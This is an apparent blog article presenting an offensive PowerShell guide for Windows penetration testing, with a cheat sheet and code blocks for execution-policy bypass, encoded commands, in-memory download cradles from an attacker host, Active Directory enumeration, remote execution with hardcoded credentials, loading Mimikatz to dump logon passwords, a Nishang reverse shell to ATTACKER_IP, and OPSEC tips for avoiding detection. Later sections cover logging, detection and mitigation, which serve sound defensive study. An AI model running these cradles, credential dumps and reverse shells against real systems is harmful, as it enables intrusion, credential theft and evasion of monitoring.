tools

PowerShell for Penetration Testing: The Complete Offensive Guide

PowerShell for Penetration Testing: The Complete Offensive Guide

PowerShell for Windows Pentesters: Commands, Downloads, Remoting, Active Directory Enumeration, Logging, AMSI, CLM, and Post-Exploitation Techniques.

  • Posted on 2026-07-13
  • Reading time: 7 min

PowerShell for Etichal Hacker: Commands, Active Directory and Post-Exploitation #

Bottom line: PowerShell is built into every modern Windows machine, with full access to the .NET framework, Win32 APIs, WMI, and Active Directory —without installing anything. For a pentester, it's the most versatile post-exploitation tool available on the compromised host, usable for both enumeration and lateral movement.


PowerShell isn't a third-party attack tool—it's Microsoft's native administrative shell, present and enabled by default on every Windows 7/Server 2008 R2 machine. This makes it one of the most powerful and unobtrusive tools for pentesterers: it doesn't require dropping suspicious binaries, it signs commands with real domain credentials, and it has native access to nearly every operating system API.

Key Takeaway: PowerShell isn't just an automation tool—it's a complete interface to the Windows operating system. Those who know how to use it well don't need to load third-party tools for most post-exploitation tasks.

Classified by MITRE ATT&CK as T1059.001.


Versions and Differences #

VersionBaseAvailabilityOffensive relevance
Windows PowerShell 2.0.NET FrameworkLegacy systems (removed from Win11 24H2 and Server 2025)No modern AMSI/ScriptBlock logging, but detectable via process creation and EDR
Windows PowerShell 5.1.NET FrameworkWindows 7 SP1+ / Server 2008 R2+AMSI and Script Block Logging from Windows 10+; standard on supported systems
PowerShell 7.x.NET Core/Modern .NETSeparate installation, alongside PS 5.1Cross-platform; AMSI supported; PS 7.3+ extends monitoring to .NET calls
powershell
# Verifica versione corrente
$PSVersionTable.PSVersion

# PowerShell 7 viene installato affiancato a Windows PowerShell 5.1, non lo sostituisce
# Monitora sia powershell.exe che pwsh.exe: in ambienti aziendali pwsh.exe è raro

Cheat Sheet — Essential Offensive Commands #

TargetCommand
Bypass execution policy (session)Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass
Bypass execution policy (one-liner)powershell -ep bypass -c "..."
Base64 commandpowershell -enc <BASE64>
Generate Base64 command$enc = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("whoami")); powershell -enc $enc
Download + run in memoryIEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/script.ps1')
Download + Run IWRIEX(Invoke-WebRequest 'http://ATTACKER/script.ps1' -UseBasicParsing).Content
CLM Verification$ExecutionContext.SessionState.LanguageMode
WinRM Remote ExecutionInvoke-Command -ComputerName TARGET -Credential $cred -ScriptBlock { whoami }
WinRM Interactive SessionEnter-PSSession -ComputerName TARGET -Credential $cred
Create credential object$cred = New-Object PSCredential("corp\admin", (ConvertTo-SecureString 'Pass' -AsPlainText -Force))
Start process with credentialsStart-Process powershell -Credential $cred -ArgumentList "-nop -w hidden -c IEX(...)"
Remote CIM (modern)Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine='cmd /c whoami'} -CimSession (New-CimSession -ComputerName TARGET -Credential $cred)
Remote WMI (legacy)Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd /c whoami" -ComputerName TARGET -Credential $cred
Search for passwords in filesGet-ChildItem C:\ -Recurse -Include "*.xml","*.ps1","*.config" -EA SilentlyContinue | Select-String -Pattern "password|passwd|pwd"
Defender StateGet-MpComputerStatus | Select-Object AMRunningMode, AntivirusEnabled

Execution Policy Bypass #

Execution Policy isn't a security control—it's a safeguard against accidental errors. It doesn't prevent code execution; it simply loads scripts with certain restrictions.

powershell
# Verifica policy attuale
Get-ExecutionPolicy -List

# Bypass — nessuno richiede privilegi elevati
powershell -ExecutionPolicy Bypass -File script.ps1
powershell -ep bypass -c "IEX(Get-Content script.ps1 -Raw)"

# Temporaneo per la sessione corrente
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass

# Trasporto tramite Base64 — non garantisce bypass AMSI/logging
# Base64 è solo una codifica; PowerShell la decodifica prima dell'esecuzione
$cmd = "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/script.ps1')"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
$enc = [Convert]::ToBase64String($bytes)
powershell -enc $enc

Important Note: the use of -enc (EncodedCommand) transports the command in Base64, but PowerShell decodes the contents before execution — AMSI and Script Block Logging inspect the decoded code, not the transport Base64.


Download Cradle — Transfer Files to Memory #

Load and run PowerShell scripts directly in memory without writing to disk — the primary method for loading tools like PowerView, PowerUp, Mimikatz, etc.

Download Variants #

powershell
# Net.WebClient — il classico
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/script.ps1')

# Versione con variabile (meno riconoscibile inline)
$wc = New-Object Net.WebClient
IEX($wc.DownloadString('http://ATTACKER/script.ps1'))

# Invoke-WebRequest (PS 3.0+)
IEX(Invoke-WebRequest 'http://ATTACKER/script.ps1' -UseBasicParsing).Content

# WebClient alternativo — se Net.WebClient viene flaggato da AMSI
IEX([System.Net.WebClient]::new().DownloadString('http://ATTACKER/script.ps1'))

# BITS Transfer — usa il servizio Background Intelligent Transfer Service (legittimo)
Start-BitsTransfer -Source 'http://ATTACKER/script.ps1' -Destination 'C:\Windows\Temp\s.ps1'
. 'C:\Windows\Temp\s.ps1'

# HTTPS con certificato self-signed
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
IEX(New-Object Net.WebClient).DownloadString('https://ATTACKER/script.ps1')

Artifacts Produced #

All cradle downloads generate detectable artifacts:

  • Event ID 4688 — start of powershell.exe and command line
  • Network detection — HTTP/HTTPS connections from powershell.exe towards non-corporate IP
  • Script Block Logging (4104) — IEX content after execution
  • AMSI — payload detection if known

AMSI (Antimalware Scan Interface) #

Starting with Windows PowerShell 5.1 on Windows 10 and later , PowerShell sends ScriptBlocks to AMSI before execution. PowerShell 7.3 extended inspection to include .NET method calls.

powershell
# Verifica se AMSI è attivo nella sessione corrente
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').GetValue($null)
# True = bypass possibile già attivo, False = AMSI funzionante

AMSI sends the script's contents to the installed antivirus program (e.g., Windows Defender), which can block its execution. Bypass techniques change rapidly with Defender updates.

Historical bypass categories:

  • Memory patching — feature patches in amsi.dll at runtime via reflection .NET
  • Initialization failure — corrupts the state of the AMSI instance before use
  • Obfuscation — tools such as amsi.fail generate obfuscated snippets against current signatures

For updated bypasses: amsi.fail and S3cur3Th1sSh1t GitHub.


Constrained Language Mode (CLM) #

CLM is a PowerShell restriction that limits accessible .NET types and blocks many malicious commands. It is triggered by AppLocker or App Control for Business/WDAC in hardened environments.

powershell
# Verifica language mode corrente
$ExecutionContext.SessionState.LanguageMode
# FullLanguage = nessuna restrizione
# ConstrainedLanguage = CLM attivo

If CLM is enabled, scripts like PowerView, PowerUp, and other attack tools will not work — they require FullLanguage.

Limitations and Possible Countermeasures #

Historically used techniques against CLM (downgrading to PS 2.0, custom runspaces, LOLBin like MSBuild) depend on how AppLocker or App Control is configured. A properly deployed App Control for Business/WDAC environment isn't automatically circumvented by using alternative runspaces, PowerShell 2.0, or LOLBin—the policy applies at the operating system level, not just to the PowerShell session.

Microsoft recommends WDAC over AppLocker (which it is no longer investing in except for security updates).

powershell
# Controlla se PS 2.0 è disponibile (solo su sistemi legacy)
Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2

Active Directory Enumeration #

With the ActiveDirectory Module #

Available on DC and machines with RSAT installed:

powershell
Import-Module ActiveDirectory

# Info sul dominio corrente
Get-ADDomain
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

# Tutti gli utenti
Get-ADUser -Filter * -Properties * | Select-Object SamAccountName, MemberOf, PasswordLastSet

# Tutti i computer
Get-ADComputer -Filter * -Properties * | Select-Object Name, OperatingSystem, DNSHostName

# Domain Admin members (ricorsivo)
Get-ADGroupMember -Identity "Domain Admins" -Recursive

# Service account con SPN (target Kerberoasting)
Get-ADUser -Filter 'ServicePrincipalName -like "*"' -Properties ServicePrincipalName

# Utenti con pre-auth disabilitata (target AS-REP Roasting)
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth

# Domain Controller nel dominio
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainControllers

ADSI Searcher (without RSAT) #

It works on any machine joined to the domain:

powershell
# Cerca utenti con ADSI
$searcher = [adsisearcher]"(&(objectCategory=person)(objectClass=user))"
$searcher.FindAll() | ForEach-Object { $_.Properties["samaccountname"] }

# Cerca computer
$searcher = [adsisearcher]"(objectCategory=computer)"
$searcher.FindAll() | ForEach-Object { $_.Properties["dnshostname"] }

# Cerca gruppi privilegiati
$searcher = [adsisearcher]"(&(objectCategory=group)(name=Domain Admins))"
$searcher.FindOne().Properties["member"]

Remoting and Credentials #

Credential Objects #

powershell
# Crea credential object da usare con cmdlet remoti
$cred = New-Object System.Management.Automation.PSCredential(
  "corp\administrator", 
  (ConvertTo-SecureString 'Password123!' -AsPlainText -Force)
)

WinRM (Preferred) #

powershell
# Sessione remota interattiva
Enter-PSSession -ComputerName TARGET -Credential $cred

# Esecuzione remota one-liner
Invoke-Command -ComputerName TARGET -Credential $cred -ScriptBlock { whoami; hostname }

# Su più macchine in parallelo
Invoke-Command -ComputerName (Get-Content hosts.txt) -Credential $cred `
  -ScriptBlock { whoami }

# Con timeout e salto di host
Invoke-Command -ComputerName TARGET -Credential $cred -ScriptBlock { whoami } `
  -OperationTimeoutSec 10

Starting Process with Different Credentials #

powershell
# Avvia un processo locale utilizzando le credenziali specificate
Start-Process powershell -Credential $cred `
  -ArgumentList "-nop -w hidden -ep bypass -c IEX(...)"

Note: Start-Process -Credential Runs the process as the specified account. If you need to use credentials for network access only keeping the current local identity, use runas /netonly from cmd.exe.

powershell
# Crea sessione CIM
$session = New-CimSession -ComputerName TARGET -Credential $cred

# Esecuzione remota via CIM
Invoke-CimMethod -ClassName Win32_Process -MethodName Create `
  -Arguments @{CommandLine='cmd.exe /c whoami > C:\temp\out.txt'} `
  -CimSession $session

WMI (Legacy) #

powershell
# Esecuzione remota via WMI (alternativa a CIM, meno moderno)
Invoke-WmiMethod -Class Win32_Process -Name Create `
  -ArgumentList "cmd.exe /c whoami > C:\temp\out.txt" `
  -ComputerName TARGET -Credential $cred

Loading Offensive Tools #

PowerView — AD Enumeration #

powershell
# Carica PowerView in memoria
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/PowerView.ps1')

# Enumera utenti con GenericAll
Get-DomainUser -Properties objectsid | Get-ObjectAcl -ResolveGUIDs | 
  Where-Object {$_.ActiveDirectoryRights -like '*GenericAll*'}

Mimikatz via PowerShell #

powershell
# Carica Invoke-Mimikatz in memoria
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/Invoke-Mimikatz.ps1')

# Dump credenziali
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'

Nishang — Offensive Framework #

powershell
# Reverse shell TCP
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/Invoke-PowerShellTcp.ps1')
Invoke-PowerShellTcp -Reverse -IPAddress ATTACKER_IP -Port 4444

# Bind shell
Invoke-PowerShellTcp -Bind -Port 4444

Logging, Auditing and Detection #

PowerShell generates several types of logs relevant to a SOC:

FunctionEvent IDWhat it records
Script Block Logging4104Contents of ScriptBlocks processed before execution
Module Logging4103Details on running configured module commands
TranscriptionText fileFull input and output of PowerShell sessions
Process Creation4688Starting of powershell.exe and, if configured, command line

Note: Script Block Logging, Module Logging, and Transcription are not automatically enabled — they require configuration via Group Policy, the registry, or a PowerShell profile.

Protected Event Logging #

Because these logs may contain passwords, tokens, and sensitive data, Microsoft recommends using Protected Event Logging when Script Block Logging is used beyond simple diagnostics.

powershell
# Verifica se Script Block Logging è abilitato
Get-ItemProperty HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -ErrorAction SilentlyContinue

# Verifica se Module Logging è abilitato
Get-ItemProperty HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging -ErrorAction SilentlyContinue

Detection #

🔴 HIGH:

  • Event ID 4104 — ScriptBlock with known offensive content (IEX, DownloadString, AMSI bypass keywords)
  • Event ID 4688 with command line containing -enc, -EncodedCommand, -ep bypass, -nop
  • Production powershell.exe which generates outbound network connections to non-corporate IPs
  • Combination of script download (4104) + remote WinRM execution (4688 with Invoke-Command)

🟡 MEDIUM:

  • Cradle download to non-corporate IP (Net.WebClient.DownloadString detected)
  • WinRM sessions to unusual machines
  • Using AD cmdlets in rapid sequence (indicative of enumeration)

Mitigation #

  • Enable Script Block Logging (Event ID 4104) and centralize logs in a SIEM
  • Activate Constrained Language Mode via App Control for Business/WDAC — significantly increases the difficulty of exploitation
  • Disable PowerShell 2.0 where not needed (automatically removed on Win11 24H2 and Server 2025)
  • Force PowerShell 5.1+ and monitor any downgrade attempts
  • Windows Defender Application Control (WDAC) to block unsigned scripts
  • Monitor network connections originating from powershell.exe e pwsh.exe towards non-corporate IP
  • Implementation Protected Event Logging to protect sensitive data in Script Block Logging logs

OPSEC #

  • Usa -WindowStyle Hidden e -NoProfile to avoid opening visible windows and not loading user profiles
  • Prefer in-memory execution (download cradle) to dropping files to disk
  • On systems with Script Block Logging, every command is logged — including those obfuscated after parsing. Obfuscation only bypasses signature detection before parsing, not the logging itself.
  • powershell.exe as a parent process is a warning signal — in monitored environments prefer remoting via WinRM via legitimate credentials
  • In environments with WDAC, PowerShell 7 (pwsh.exe) may be less blocked than powershell.exe, but it is also more anomalous — use it consciously
  • Download Cradle generates network and process artifacts — keep timing consistent with account behavior

FAQ #

Does Constrained Language Mode completely block abusive PowerShell? It makes it much more difficult to use abusive scripts like PowerView or PowerUp, which require FullLanguage. It doesn't completely block PowerShell, but it eliminates most common abuse vectors if WDAC is configured correctly.

Does Script Block Logging also log obfuscated commands? Yes — PowerShell deobfuscates code before execution and logs the actual content. Obfuscation only bypasses signature detection before parsing, not the logging itself.

Does PowerShell 7 have the same protections as Windows PowerShell 5.1? PowerShell 7 supports AMSI and has access to the same security controls, but some Group Policy policies do not apply to pwsh.exe by default — this is an area to check in every environment.

Can I run WinRM remotely without explicit credentials? Yes, if the local account already has Kerberos delegation to the target or there is a trust between the domains. Invoke-Command Use the current session credentials by default.


Conclusion #

PowerShell remains one of the most powerful tools in the Windows offensive toolkit precisely because it's native, reliable, and difficult to completely block without impacting legitimate IT operations. The tension between administrative usability and offensive security isn't easily resolved—every environment is a compromise.

For defenders, centralized logging, Protected Event Logging, and WDAC are the priority. For attackers, understanding detection and logging mechanisms is a prerequisite for working effectively in monitored environments.


Resources:

#powershell #lateral movement #amsi

leave a message

I'm not a robot